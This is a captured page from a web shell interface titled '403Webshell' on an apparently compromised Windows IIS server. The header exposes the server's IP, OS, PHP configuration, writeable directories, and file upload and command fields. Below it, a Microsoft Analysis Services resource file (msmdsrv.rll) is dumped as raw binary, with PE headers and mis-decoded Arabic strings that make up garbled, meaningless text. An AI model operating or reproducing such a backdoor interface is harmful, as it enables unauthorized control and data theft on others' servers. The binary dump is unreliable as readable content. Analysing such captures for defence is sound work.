403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Microsoft Analysis Services/AS OLEDB/140/Resources/1025/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/Microsoft Analysis Services/AS OLEDB/140/Resources/1025/msmdsrv.rll
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$��d���
���
���
�������
��՝���
������
�Rich��
�PEd���]�" ����s`( x���#p.rdataX@@.rsrc� �@@��]�pp��]����]
T��]RSDSt�|a�EO�z�����d:\dbs\sh\uikp\0923_113756\cmd\1e\obj\x64retail\sql\picasso\engine\src\px\rll\pxrll.vcxproj\msmdsrv.pdbGCTLp.rdatap�.rdata$zzzdbg `n.rsrc$01`��.rsrc$028�p�������E������0�H�`�x�	��
������
��� �8�P�h�����p��~�����������(��@��X��p�����
��3��4��8�=�H0�lH��`��x�����������������$ �*8�0P�Yh����������������������(�@�NX�fp�����������������0�H�`�x���	��
������� �8�P�h��������������(�@�X� p�!��"��#��$��%��&�'�+0�@H�A`�Bx�C��F��G��Y��r��s�t �u8�vP�wh�x��y��z��{�����������(��@��X��p���������������������0��H��`��x�����!��"��#��$ �%  �:8 �;P �Sh �T� �U� �m� ��� ��� ��� ��!��(!��@!��X!��p!���!���!���!���!���!��"��"��0"��H"��`"��x"���"���"��"��"��"�#� #�8#�P#�(h#�A�#���#���#���#���#���#��$��($��@$��X$��p$���$���$��$��$��$�4%�5%�A0%�MH%�N`%�Tx%�f�%�g�%��%���%���%��&�� &��8&��P&��h&���&���&���&���&���&���&��'��('��@'��X'��p'���'���'���'���'���'�(�(�0(�H(�`(�x(� �(�$�(�&�(�(�(�)�(�*)�+ )�,8)�-P)�.h)�/�)�0�)�1�)�2�)�3�)�4�)�5*�6(*�7@*�8X*�9p*�:�*�;�*�<�*�=�*�>�*�?+�@+�A0+�BH+�C`+�Dx+�E�+�T�+�U�+�V�+�`�+�g,�h ,�i8,�jP,�kh,�l�,�|�,�}�,�~�,���,���,��-��(-��@-��X-��p-���-���-���-���-���-��.��.��0.��H.��`.��x.���.���.���.���.���.��/�� /��8/��P/��h/���/���/���/���/�	�/�"	�/�#	0�$	(0�%	@0�&	X0�'	p0�T	�0�m	�0�n	�0�o	�0�p	�0��	1��	1��	01��	H1��	`1�
x1�
�1�
�1�
�1�
�1�
�1�
2�
 2�
82�)
P2�*
h2�+
�2�,
�2�-
�2�.
�2�/
�2�1
�2�2
3�3
(3�4
@3�5
X3�6
p3�7
�3�8
�3�9
�3�:
�3�g
�3�h
4��
4��
04��
H4��
`4��
x4��
�4��
�4��
�4��
�4��
�4��
5��
 5��
85��
P5��
h5��
�5��
�5��
�5��
�5��
�5��
�5��
6��
(6��
@6��
X6��
p6��
�6��
�6��
�6��
�6��
�6��
7��
7��
07��
H7��
`7��
x7��
�7��
�7��
�7��
�7��
�7��
8��
 8��
88��
P8��
h8��
�8��
�8��
�8��
�8��
�8��
�8��
9��
(9��
@9��
X9��
p9��
�9��
�9��
�9��
�9��
�9��
:��
:��
0:��
H:��
`:��
x:��
�:��
�:��
�:��
�:��
�:��
;��
 ;��
8;��
P;��
h;��;��;��;��;��;��;�<�(<�@<�	X<�
p<�#�<�$�<�%�<�&�<�'�<�(=�)=�*0=�+H=�,`=�-x=�.�=�/�=�0�=�1�=�2�=�3>�4 >�58>�6P>�7h>�8�>�9�>�:�>�;�>�<�>�=�>�j?�k(?��@?��X?��p?���?���?�&�?�e�?���?��@��@��0@��H@��`@��x@���@���@���@���@���@��A�� A��8A��PA��hA���A���A���A���A���A�
�A�
B�
(B�
@B�
XB�
pB�B
�B�U
�B�V
�B�W
�B�[
�B�\
C��
C��
0C��
HC��
`C��
xC��
�C��
�C��
�C��
�C��
�C��
D� D�8D�PD�\hD�]�D�^�D�_�D�`�D�i�D�k�D�lE�m(E�n@E�oXE�ppE�q�E�s�E�t�E�v�E�x�E�yF�|F�}0F�HF��`F��xF���F���F���F���F���F��G�� G��8G��PG��hG���G���G���G���G���G���G��H��(H��@H��XH��pH���H���H���H���H���H��I��I��0I�HI�`I�8n�xI��I��I�I�I�I�I�IJJ(J8JHJXJhJxJ�J�J�J�J�J�J�J�JKK(K8KHKXKhKxK�K�K�K�K�K�K�K�KLL(L8LHLXLhLxL�L�L�L�L�L�L�L�LMM(M8MHMXMhMxM�M�M�M�M�M�M�M�MNN(N8NHNXNhNxN�N�N�N�N�N�N�N�NOO(O8OHOXOhOxO�O�O�O�O�O�O�O�OPP(P8PHPXPhPxP�P�P�P�P�P�P�P�PQQ(Q8QHQXQhQxQ�Q�Q�Q�Q�Q�Q�Q�QRR(R8RHRXRhRxR�R�R�R�R�R�R�R�RSS(S8SHSXShSxS�S�S�S�S�S�S�S�STT(T8THTXThTxT�T�T�T�T�T�T�T�TUU(U8UHUXUhUxU�U�U�U�U�U�U�U�UVV(V8VHVXVhVxV�V�V�V�V�V�V�V�VWW(W8WHWXWhWxW�W�W�W�W�W�W�W�WXX(X8XHXXXhXxX�X�X�X�X�X�X�X�XYY(Y8YHYXYhYxY�Y�Y�Y�Y�Y�Y�Y�YZZ(Z8ZHZXZhZxZ�Z�Z�Z�Z�Z�Z�Z�Z[[([8[H[X[h[x[�[�[�[�[�[�[�[�[\\(\8\H\X\h\x\�\�\�\�\�\�\�\�\]](]8]H]X]h]x]�]�]�]�]�]�]�]�]^^(^8^H^X^h^x^�^�^�^�^�^�^�^�^__(_8_H_X_h_x_�_�_�_�_�_�_�_�_``(`8`H`X`h`x`�`�`�`�`�`�`�`�`aa(a8aHaXahaxa�a�a�a�a�a�a�a�abb(b8bHbXbhbxb�b�b�b�b�b�b�b�bcc(c8cHcXchcxc�c�c�c�c�c�c�c�cdd(d8dHdXdhdxd�d�d�d�d�d�d�d�dee(e8eHeXehexe�e�e�e�e�e�e�e�eff(f8fHfXfhfxf�f�f�f�f�f�f�f�fgg(g8gHgXghgxg�g�g�g�g�g�g�g�ghh(h8hHhXhhhxh�h�h�h�h�h�h�h�hii(i8iHiXihixi�i�i�i�i�i�i�i�ijj(j8jHjXjhjxj�j�j�j�j�j�j�j�jkk(k8kHkXkhkxk�k�k�k�k�k�k�k�kll(l8lHlXlhlxl�l�l�l�l�l�l�l�lmm(m8mHmXmhmxm�m�m�m�m�m�m�m�mnn(n`����
�����|���������ġN��p�����\�&���D�ȳ8��L�L��\��������`�$������������f��n�|��������J���Z�T���������������l��:�L�P���X���n�d�p��������x����d�h�T���n�,�����f� �������P�n���f�(�n�����0�F�x�l���`�D�^���Z������Z�4�p�����H�f�����<�����V�L�l���^��������H����	�������x,��t=b��K��h\$��rl��z���~��h�v���
����
�@�T��������������2���������@
�����(�
�l62��E8��T���f��w������`�\�,�����8�t	���v�$�d���r���$� �������������<����
�x�L���v�<�
�Xt
��<�:
�D&�
��0��2t�H4�� 8���8l�P;b��B���J*��R4��Z&	�d�	��m��xz�	�,��	�܍����@��@�$�@�d�"���8���������d�V�����L���8�n���t������h��8�T�������d�<�����4���������
�����������������H+X��9p�Nj�|Zj��`^�HgJ��lt�r���w(��|D�@� �`���H�����	����	�$�
�4�������X����������������|��	����
�|�"
����h��(�(%
�0/��3���5R�(8:�dGL��K(��L8	�Vv��X���Y*��],��]6�_4�D`��b���eV�0g���h���i��4m6�lq�lv��Lw"�p}�	��b
�T�V�����4�d	�����D���8����������H�<������8�����p����V�d�V����
���R��������x�|�����4��	� ����	��	2��l�`*
��'���/��l8�� A���Hr
�0S�D[���c��|j��Ls@	��|��<�����
�l�P	����
�p��
�P��	�@�F����
�(�V
����
�x������8�J	������l
<��J��d�XN���	�l'V��/��:n�@;���?B�(B�,F�
�Q���\6��g���sv
� �����f������x��l	���H	���x����� ������
������d�,�
	�8��	�������J������p�(�8�`���L�&�t���P�:�����(��������R������"��� �8d��@��
����l%��1T�l2
�x5\��6���=*��A(��F��hL��PR*�|S>��T���]D��]���^��(a~
��k�
�|v8
�������r
��:�D�F�����T� �t����0��������	�x�n�����	��`	��T	���	 	��#	���&	���(	l�0,	`��0	Z��5	��:	���>	���B	��tF	��K	^�tP	��8V	���Z	���^	��0e	Z��m	��Pr	���v	���~	"���	���	����	��,�	p���	X��	��	r�h�	��<�	*�h�	B���	���	����	��4�	����	Z�@�	�H�	��D�	����	��\�	J���	b��	����	���	���	����	��p�	���	���
H��
��P
�T
,��
&��
��<
f��"
��&
���+
���1
��,6
t��:
��?
��`C
�hH
z��K
���P
B��T
<�8Z
��_
���c
\�Lj
<��n
��Hr
 �hv
��|
~��
���
z�`�
����
<�4�
����
J��
��
���
L�T�
4���
d��
����
����
��T�
(�|�
���
l�l�
��4�
��4�
����
4	��
.
�
*�D�
�����(�
�t6��TB\��GN	�Q�\���b��Th6��pF��|d	�8�$�\� �|�����$�r	���$���x�4�H�|���L��	��h�l����������������r�D�����D�(�B�l���h�R	�� ���	�`�t'��\6T��Fb
�T~��dh��w������D�B
���H�Э������`�F
���(���6��X�`� ���z���N	�L
�
��

l	�`
��
���
r�\!
f��$
��`'
2��+
^��,
�0
D�L0
�P1
���1
���2
.��3
���8
j�<E
F��L
8��M
���U
��X
���[
�	�Pe
�
�Lp
��Dy
�	�(�
�D�
��,�
|���
��x�
$
���
��X�
���
�
�ȷ
J
��
�	���
��`�
��T�
R���
��X�

�d�
2���
��@�
���
���
v�PP��J��.8�$0��8H�X>��M���X���gn��w������n� ���ػ��������
�t�T��8��4�D

�P!�
��+���3���4@��7	��@��xI��$O4T�X�����A���}�TRACEDEFINITION.XML'DE91A 'DA1J/ 'D9EHEJ%5/'1 E.77 'D-/+BF') ETW'F*GI 'D#E1 E9 H,H/ .7#.+'3*./'E 'D*.2JF 'DE$B* D'3*9D'E VertiPaq SE	A&) 'D-/+(/'J) 'D'3*9D'E.*E 'D-5HD 9DI -E'J) E$B*)
'3E 'D9EH/)E9DE'* DD'3*9D'E'* H'D#H'E1 0'* 'DE9DE'*.,'1M %F4'! F3.) '-*J'7J) ,/J/)13'D) .7# AJ -'D H,H/ #J .7#.(9// 'D9OB/ 'D+'FHJ) 'D*J #1,9* -'D'* A4D
*3EJ) 'DC'&F.FG'J) EC9( 'D'3*9D'E.'3E 'DC'&F.J*E 1A9 -/+ 9F/ (/! FB7) *3D3D*E %F4'! F3.) '-*J'7J) ,/J/)-/+ EO91A (H'37) 'DE3*./E.=J*E 1A9 -/+ 9F/E' *FA0 FB7) *3D3D 9ED'K DC'&F B(D (/! 'DEG'E.7# *B1J1 'D*B/E.FH9 *,E9 E$41 'D*1'(7.FG'J) 'D'3*9D'E.PA`#,( 9DI 'D'3*9D'E (%-6'1 'D(J'F'* EF 'D*,EJ9. B/ JCHF DG0' 'D-/+ #+1 3D(J 9DI 'D#/'! 9F/ *4:JDG.(/'J) -3'( :J1 'DA'1:./J*E 1A9 -/+ 9F/ '3*E1'1 FEH0, ,/HDJ AJ -0A E,D/%F4'! MiniDump AJ -/+E91A B'9/) 'D(J'F'* (/'J) *:JJ1 'DF*'&, %DI E*3D3D).-J*E 'D*-CE AJ E,EH9) -ED 'D9ED AJ '3*./'E CPUFG'J) *-EJD 'DEDA.'3E 'D.'/E 'D0J JF*, 'D-/+.�HB* 'F*G'! 'D-/+. D' J*E ED! G0' 'D9EH/ DA&'* (/! 'D-/+ E+D SQL:BatchStarting #H SP:Starting. ('DF3() DD*5AJ) A%F 'D*F3JB'* 'DE*HB9) GJ 'YYYY-MM-DD' H'YYYY-MM-DD HH:MM:SS'.;4,1) .7) DAX 'DEF7BJ)/'DA9DJ) D#H6'9 VertiPaq HDirectQuery.	'3E 'DB3E'GUID 'D,D3) DF7'B ,D3) A'1: DF7'B 9'E.FG'J) -A8 'DEDA
FG'J) PageOutFG'J) 7D( 'D'C*4'A.J,1J *:JJ1 'DF*'&, %DI E*3D3D).'AB/ 'D*.2JF 'DE$B* D'3*9D'E VertiPaq SEC*E *(/JD 0'C1) E,EH9) -ED 'D9ED 'D-'DJ) %DI E,EH9) -ED 9ED 'A*1'6J)/J*E 1A9 -/+ 9F/ %,1'! %9'/) E-'HD) (9/ .7# E$B*FG'J) 'D#E1.#E-*HJ'* '3*,'() 'C*4'A -'D) 'D.'/E.E91A 'D,D3)[1 = F,'-. 0 = A4D (9DI 3(JD 'DE+'D 1 *9FJ F,'- 'D*-BB EF 'D#0HF'* H0 *9FJ A4D G0' 'D*-BB).(/'J) *B1J1 'D*B/E.PA(/! 7D( 'D'C*4'A.'E3'1 'DEDA 'DE-0HA EB'1F) (,01 'D*.2JF#-/+ **(9 H8JA) *.2JF 'DF7'B 'DE$B*.
GUID 'D9EDJ).<J*E 1A9 -/+ 9F/ 'C*4'A .7# E$B* B/ J*E %,1'! %9'/) E-'HD) DG�EB/'1 'DHB* (E.2F (*F3JB PFDateTime (FB'H) 100-ns *3*F/ 'D/B) 'DA9DJ) %DI H',G) (1E,) *7(JB'* E-//)) 'D0J *HBA .D'DG 'DE-1C E$B*K' .D'D '3*/9'! sqldumper./FH9 'D.7#: 0 = :J1 E91HA 1 = E3*./E 2 = F8'E.)E/) %/1', *,E9 E$41 'D*1'(7 (EDDJ +'FJ)).!J*E '3*./'E E91A 'D7D( D**(9 7D(.	F4'7 J(/#(O9/ 'D'3*9D'E.FG'J) *FAJ0 (1F'E, MDX 'DF5J.PA+J13D 'D.'/E ".1 ('J* EF 'D'3*,'() 9DI 'D7D(FG'J) *B1J1 'D*B/E.ActivityID DDF4'7 'D#5DFH9 'D*#EJF B1'!) #H C*'().E91A 'D-E'J) 'DE$B*).85H'( *9FJ #F E$41 *1'(7 G0' 'DF4'7 E.*DA 9F 'DF4'7 'D#5D'3E 'DEDA 'DE7DH( /E,G'3E 'D,/HD.('F*8'1 -E'J) E$B*)'*HBA -'D'* *#EJF (J'F'* 'D*91JA *E'EK'.-#B5I 9// DEDA'* 'D3,D 'D*J JA4D (9/G' 'D*/BJBAJ*E 1A9 -/+ 9F/ '3*E1'1 'C*E'D (J'F'* B'9/) 'D(J'F'* DFEH0, ,/HDJ(/'J) *-EJD 'DEDA.
A&'* 'D-/+;*E %D:'! 'D'3*9D'E F81K' D*,'H2 E,EH9) -ED 'D9ED -/ 'D0'C1)J,1J -3'( :J1 'DA'1:.FG'J) -3'( :J1 'DA'1:.j'3E ,G'2 'DCE(JH*1 'D0J J9ED 9DJG 'D9EJD. J*E ED! 9EH/ 'D(J'F'* G0' %0' *E *HAJ1 '3E 'DE6JA (H'37) 'D9EJD.?J*E 1A9 -/+ 9F/ 'D-',) %DI 'D%(D': 9F (96 'DE9DHE'* C-/+ EO1'B(E91A 'D'*5'D 'DA1J/.E3*HI .7H1) '3*+F'!.^%0' #F4#F' F3.) '-*J'7J) #H *,'H2F'G' F81K' D#FG' F3.) '-*J'7J) EC11) #H C'F GF'C 'D9/J/ EFG'.%J*E 1A9 -/+ 9F/ EF- *#EJF C'&F D9EDJ)PA*E+JD XML DD13E 'D(J'FJ DD*(9J)*:JJ1'* %0F C'&F 'D3,D'*.H5A F5 B5J1 D,D3) 'D-0A..J*E 1A9 -/+ 9F/ '3*E1'1 FEH0, ,/HDJ AJ -0A EDA'3*9D'E VertiPaq SEGD#:1'6 'D'.*('1 AB7 (:J1 E*HA1 AJ 'D%F*',): %FG'! 'D9EDJ) 9F/ F41 'D-/+
'3E 'D,/HD"J,1J *FAJ0 (1F'E, MDX 'DF5J. EGED.(/'J) -A8 'DEDA.'3E EDA 'D3,D HEHB9GY'DFEH0, 'D0J *E DG *.2JF G0' 'DF7'B E$B*K' (B/ JCHF E.*DAK' 9F 'DEC9( AJ -'D) 'DEF8H1'*).#E,EH9) -ED 'D9ED **,'H2 -/ 'DE9'D,)8J*E 1A9 -/+ 9F/ 9/E E9'D,) .7# E$B* B'(D D%9'/) 'DE-'HD)\'DEC9( 'DA19J DD'3*9D'E E9 E9DHE'* EA5D). B/ JCHF DG0' 'D-/+ #+1 3D(J 9DI 'D#/'! 9F/ *4:JDG.6#F47) %JB'A *4:JD ./E) 'D3,D'* H(/$G' H%JB'AG' E$B*K'.(E.77 9JF) D*4AJ1 'D9EH/ (9/ E9'D,) 'DB3E5EC/3 'D'3*/9'!'* 'D0J *E 'D*B'7G HB* 'DF3. 'D'-*J'7J.!FH9 'DF4'7 'DEB*1F ('D7D( 'D-'DJ.3(( 9/E E9'D,) 'D.7# 'DE$B*!'F*G* EGD) 'F*8'1 'D-E'J) 'DE$B*)E91A'* 'D9OB/ 'DA'4D)%F4'! FilteredDump AJ -/+(J'F'* 'DF5 'DEB*1F) ('D-/+.(/'J) DirectQuery.DJ*E 1A9 -/+ 9F/ '3*E1'1 FEH0, ,/HDJ AJ A*- EDA (StorageFile) DDC*'()
(/'J) PageIn.ED.5 *FAJ0 'D7D(1E2 'D.7# D3(( -0A 'D,D3).%(/'J) *,E9 E$41 'D*1'(7 AJ %/1', EGE)%1A'B FH9 F4'7 EH,H/ %DI -/+FG'J) DirectQuery.!*E 'D-5HD 9DI -E'J) E$B*) DDB1'!)J3*DE 'D.'/E #HD ('J* EF 'D7D(9// 'DE-'HD'* 'D*J *E* ('DA9DYJ*E 1A9 -/+ 9F/E' J(/# 'D.'/E AJ /E, EDA E.77 %5/'1 'D9EDJ) AJ EDA E.77 %5/'1 1&J3J E3*E1PA*A'5JD 'D.7# 'F*G* EGD) *#EJF (J'F'* 'D*91JA.E91A 'D9EDJ) E91A 'DC'&F (D'-8 #F G0G 3D3D))._'3E 'DE3*./E ('D4CD 'DE*9'1A 9DJG 9DI 3(JD 'DE+'D engineering.microsoft.com/software/someone.7*E *,EJ9 E9DHE'* %-5'!'* *,EJ9 'DED.5 .D'D *FAJ0 'D7D(.,J*E 1A9 -/+ 9F/ -81 9EDJ) ('F*8'1 *#EJF C'&F#B5I -,E DDEDA ('DEJ:'('J*PE3'1 'DC'&F. B'&E) EA5HD) (A'5D) DD9F'51 'D#5DJ) J*E 'D(/! (9F51 'DC'&F 'D#5DJ.(/'J) PageOut.A&'* FH9 *,E9 E$41 'D*1'(78%0' 9ED sqldumper.exe 9DI %F4'! 'DF3.) 'D'-*J'7J) (F,'-.iHB* (/! 'D-/+ 9F/ *HA1G. ('DF3() DD*5AJ) A%F 'D*F3JB'* 'DE*HB9) GJ 'YYYY-MM-DD' H'YYYY-MM-DD HH:MM:SS'.%1A'B ActivityID EH,H/ %DI -/+I-'D'* B1'!) 'D3,D'* HC*'(*G' H'3*./'E cpu (9/ FG'J) 'D#H'E1 H'D'3*9D'E'*.7J*E 1A9 -/+ 9F/ *4:JD #.0 9JF) D9EH/ #+F'! E9'D,) 'DB3E%#B5I 9// DDEDA'* 'DE7DH( 'D'-*A'8 (G'E91A E,EH9) -ED 'D9ED 'D-'DJ).?J*E 1A9 -/+ 9F/ *4:JD FB7) *3D3D .D'D 9EDJ) (J'F'* *91JA ,/HDJ)G/A EDA */BJB #E'F :J1 E*2'EFZJ*E 1A9 -/+ 9F/E' JF*GJ 'D.'/E EF /E, EDA E.77 %5/'1 'D9EDJ) AJ EDA E.77 %5/'1 1&J3J E3*E1E91A *.2JF 'D,/HD (IMBI).(/'J) EC9( 'D'3*9D'E.(/'J) 'D#E1.R**-CE 9EDJ) #.1I AJ 9EDJ'* 'D*#EJF HDG0' *-81 G0G 'D9EDJ) -*I %D:'! 9EDJ'* 'D*#EJFE91A 'DEGE) DD*B/E.&J*,'H2 HB* 'F*8'1 'D-E'J) 'DE$B*) 'D-/&*E %D:'! 9EDJ'* 'D*#EJF (H'37) 'D9EDJ)J,1J *B1J1 'D*B/E.E91A 'D,/HD.
*GJ&) 'D,D3)..7# 'D.'/E.+*E 'D-5HD 9DI 9EDJ'* 'D*#EJF (H'37) 'D9EDJ)1E2 'D.7# DA4D 'D*-EJD.&E9DHE'* %6'AJ) '.*J'1J) -HD 3(( 'D-0A.[J*E 1A9 -/+ 9F/E' JA4D 'D.'/E .D'D /E, EDA E.77 %5/'1 'D9EDJ) AJ EDA E.77 %5/'1 1&J3J E3*E1-/+ 'D%9D'E.`J*E 1A9 -/+ 9F/ *4:JD %9'/) E-'HD) '3*9D'E EH29 H0DC (3(( -/H+ A4D AJ 9B/) +'FHJ) H'-/) #H #C+1'DE9DE'*HJ*E 1A9 -/+ 9F/E' FA4D AJ *-EJD ,/HD Vertipaq 9F/ -0A/A5D B'9/) 'D(J'F'*&E,'D Windows 'D0J JF*EJ %DJG 'DE3*./E.1BE 'D.7# D-/+ E-//."-,E 'DF3.) 'D'-*J'7J) ('DCJDH('J*.9FH'F 'D-E'J) 'DE$B*).GUID 'D,D3).'D-,E ('DEJ:'('J* D*C(J1 'DEDA-0A 'D,D3).PA(/'J) 'C*4'A -'D) 'D.'/E.E.'/E 'D3,D'* F3. '-*J'7J/*.2JF/E2'EF)/%1A'B/A5D/*-EJD 'D5H1)/5H1 ave.=%0' #F4#F' 'DF3.) 'D'-*J'7J) J/HJK' ('3*./'E PFE_MANUAL_DUMP.(J'F'* 9// 5-J-.%FH9 'D,D3) (#J CJ'F *3(( AJ 'D9EDJ)).ActivityID DDF4'7 'DEC*ED(E3'1 'DE,D/ 'DE-0HA EB'1F) (,01 'D*.2JF)'3E B'9/) 'D(J'F'* 'D*J *9ED (G' 'D9EDJ).
F4'7 JF*GJ'*5'D 'DE3*./E 'D-'DJ.g#,( 9DI 'D'3*9D'E (%-6'1 'D(J'F'* EF 'D*.2JF 'DE$B*. B/ JCHF DG0' 'D-/+ #+1 3D(J 9DI 'D#/'! 9F/ *4:JDG.PA6J*E 1A9 -/+ 9F/ '3*E1'1 FEH0, ,/HDJ AJ A*- EDA DDB1'!)|'3E *7(JB 'D9EJD 'D0J #F4# 'D'*5'D ('D.'/E. J*E ED! G0' 'D9EH/ (BJE *E *E1J1G' (H'37) 'D*7(JB (/D'K EF '3E 'D(1F'E, 'DE91H6.&J*,'H2 HB* E9'D,) 'D-E'J) 'DE$B*) 'D-/E91A 'DC'&F.'3E E3*./E Windows.!J*E 1A9 -/+ 9F/ 'F*G'! FB7) *3D3D/'3E B'9/) 'D(J'F'* 'D*J J9ED (G' (J'F 'DE3*./E.5*HA1 A&) 'D-/+ 'DA19J) E9DHE'* %6'AJ) -HD CD A&) -/+.2EB/'1 HB* CPU (('DEDDJ +'FJ)) 'D0J J3*:1BG 'D-/J+.QE1,9 'DC'&F. E4A1 (*F3JB XML DCD 'D9F'51 'D#5DJ) J*E '3*./'E 9D'E'* DH5A 'DC'&F.SE9DHE'* -HD *BJJE 9EDJ'* 'D-3'(. 3JCHF DG0' 'D-/+ *#+J1 3D(J 9DI 'D#/'! 9F/ *4:JDG.E3'1 'DEDA EB'1F) (,01 'D*.2JFED#:1'6 'D'.*('1 AB7 (:J1 E*HA1 AJ 'D%F*',): %/.'D 'DA4D 9F/ F41 'D-/+'D,D3) 'D-'DJ).'ActivityID DDF4'7 'D0J *E %F4'$G -/J+K'*E %5/'1 -E'J) E$B*)!E/) 'D'F*8'1 DD-E'J) 'DE$B*) G0G.FG'J) PageIn#'D*9(J1 'D,'1J *BJJEG 9F/ 8GH1 .7#.WE9DHE'* EA5D) -HD *BJJE 9EDJ'* 'D-3'(. 3JCHF DG0' 'D-/+ #+1 3D(J 9DI 'D#/'! 9F/ *4:JDG.''D*#.1 ('DEDDJ +'FJ) B(D %9'/) 'DE-'HD)MJ*E 1A9 -/+ 9F/ 'DA4D 'D#HD D-0A EDA'* .D'D 'D*+(J*/'D9H/) %DI 'D-'D) 'D3'(B)-E.77 13'&D XEvent 'DE1*(7 (0'C1) *F8JE 'DEH1/*'DEC9( 'D0J *E DG *.2JF G0' 'DF7'B E$B*K'.FG'J) 'C*4'A -'D) 'D.'/E.�EB/'1 'DHB* (E.2F (*F3JB PFDateTime (FB'H) 100-ns *3*F/ 'D/B) 'DA9DJ) %DI H',G) (1E,) *7(JB'* E-//)) 'DE3*:1B D%F4'! F3.) '-*J'7J).#FG'J) %/1', *,E9 E$41 'D*1'(7 DEGE)FH9 'DC'&F.5E91A E,EH9) -ED 'D9ED 'D*J JF*EJ %DJG' G0' 'D'3*9D'E.!E/) 'DE9'D,) DD-E'J) 'DE$B*) G0G./EB/'1 'DHB* (('DEDDJ +'FJ)) 'D0J J3*:1BG 'D-/+.(/'J) *FAJ0 (1F'E, MDX 'DF5J.nE91A 9EDJ) 'D.'/E. J91A G0' (71JB) A1J/) ,D3) E3*./E. J*H'AB G0' E('41)K E9 GUID 'D,D3) 'DE3*./E (H'37) XML/A.DE'0' -/+ '(-+ 9F '3E 'D-/+ AJ 1E2 'DE5/1 DD-5HD 9DI 'DBJE 'DE-*ED)..5'&5 7D( XMLA.7'DEC9( 'DA19J DD'3*9D'E DD*-3JF 'DE3*F/ %DI 'D'3*./'E.mJ,E9 CD #-/'+ 'D'*5'D 'D,/J/) EF0 (/! 'D**(9 E+DE' J-/+ 9F/E' J7D( 9EJD '*5'D'K (.'/E J9ED (E+JD SQL Server.[J,E9 CD #-/'+ B79 'D'*5'D 'D,/J/) EF0 (/! 'D**(9 E+DE' J-/+ 9F/E' J5/1 9EJD #E1 B79 '*5'D.*E+JD XML DD13E 'D(J'FJ DDEGE)1E2 'DF*J,) D-/+ E9JF.PA"E,EH9) -ED 'D9ED **,'H2 -/ 'D0'C1) FG'J) *:JJ1 'DF*'&, %DI E*3D3D).
:J1 E3*./EE9DHE'* 'D**(9.,E91A 9EDJ) 'D.'/E 'D0J *E *9JJFG %DI 'D,D3).(-/+ .7# E' #+F'! *FAJ0 (1F'E, MDX 'DF5J.%,E'DJ 'D*B/E.xEB/'1 'DHB* (E.2F (*F3JB PFDateTime (FB'H) 100-ns *3*F/ 'D/B) 'DA9DJ) %DI H',G) (1E,) *7(JB'* E-//)) 'D0J J3*:1BG 'D-/++FH9 'D9EDJ): 0 - %F4'! 1 - *(/JD 2 - -0A.E91A) 'D9EDJ) D*7(JB 'D9EJD.E/) E9'D,) 'D7D( (EDDJ +'FJ)).3B'9/) 'D(J'F'* 'D*J *E DG' *.2JF G0' 'DF7'B E$B*K'.PA`-/+ **(9 (J'F'* **(9 'D'3*./'E/E9DHE'* H8JA) ED-B DAX 'D0J *E **(9G E('41)K (H'37) E$DAJ 'DED-B.#'F*G* 9EDJ) '3*1/'/ B'9/) 'D(J'F'*.PA'#1AB E,EH9) 'DEH1/ DE+JD 'D.'/E ('D-/+.PA2E91A B'9/) 'D(J'F'* 'D*J J,1J DG' 9EDJ) 'D'3*1/'/.F-/+ **(9 .7# H8JA) ED-B DAX 'D0J *E **(9G E('41)K (H'37) E$DAJ 'DED-B.Uid 'DF3.) 'D'-*J'7J)PA7HD HB* 'F*8'1 B'&E) 'D'F*8'1PAIE5/1 %F4'! 'DF3.) 'D'-*J'7J). 0: :J1 E91HA  1: E-1C AS 2: ECHF 3-'() ".1PAFEB/'1 'DHB* (('DEDDJ +'FJ)) 'D0J J3*:1BG 9EDJ) '3*1/'/ B'9/) 'D(J'F'*.f3H'!K #F4#F' *A1J: C'ED EB'(D *A1J: C'ED EO5AI. *F7(B 9DI 'DF3.) 'D'-*J'7J) DCHE) 'D0'C1) 'DE$B*) AB7.r#1AB '3E E+JD 'D.'/E %DI 'D-/+. AJ -'D) '3*./'E AS Azure 3JCHF G0' GH '3E 'D.'/E 'D0J B/EG 'DE3*./E AJ E/.D azure.&E9DHE'* 'D*4.J5 D#.7'!/*-0J1'* Recalc.
E5/1 'D%D:'!.PAUid DF3.) SQL 'D'-*J'7J)AG13 'D,D3) /'.D *C1'1 H'-/.'3D3D) 'D.7#/'D*-0J1 H#J) *A'5JD %6'AJ).PA(-2E) SQL Server Analysis Services XEventvBJE) 'D.'5J) ApplicationContext XMLA CE' *E *HAJ1G' (H'37) *7(JB'* .'1,J) DDE3'9/) AJ 'D'1*('7 'D4'ED D#F47) 'DE3*./E.<-,E 'D0'C1) 'DE3*./E) ('D('J* 9F/E' *E #.0 'DF3.) 'D'-*J'7J)5HB* 'F*8'1 'D-/ 'D#B5I D9EDJ) '3*1/'/ B'9/) 'D(J'F'*.PA"(/#* 9EDJ) '3*1/'/ B'9/) 'D(J'F'*.'D1E2 'D%9D'EJ #H 'D*-0J1.''3*./'E 0'C1) B'9/) 'D(J'F'* (('D('J*).PA5*E* %9'/) C*'() '3*9D'E HABK' D,/'HD 'D*,EJ9 'DE*HA1)PA#'3E H8JA) ED-B Dax 'D0J J*E *FAJ0G.PA=1E2 .7# (AJ -'D) A4D 9EDJ) 'D'3*1/'/) #H 5A1 J4J1 %DI 'DF,'-.PA:E,EH9) EF CD 'D'3*9D'E'* 'D*J *E *FAJ0G' 9DI E5/1 'D(J'F'*'#1AB E91A 'D'4*1'C DE+JD 'D.'/E ('D-/+.PA#WSS 'D-'DJ) EF CD 'D9EDJ'* 'D*'(9).PA'HB* ".1 '3*./'E *A'9DJ DB'9/) 'D(J'F'*.PA;'F*GI HB* 'F*8'1 'D-/ 'D#B5I D9EDJ) '3*1/'/ B'9/) 'D(J'F'*.PAE91A C'&F 'DE3*./E.PA&BJE) 'D*,2&) DEC/3 'D'3*/9'!'* 'DE5E*. E9DHE'* -HD E7'(B) ,/HD 'D*,EJ9.E/) -0A 'D,D3) (('DEDDJ +'FJ)).PA-/+ (/! *FAJ0 H8JA) ED-B DAX.PA\3H'!K #F4#F' 'DF3.) 'D'-*J'7J) DCHE) 'D0'C1) 'DE$B*) EB'(D 'D-/ 'D#/FI EF 'DF3.) 'D'-*J'7J).'DC'&F 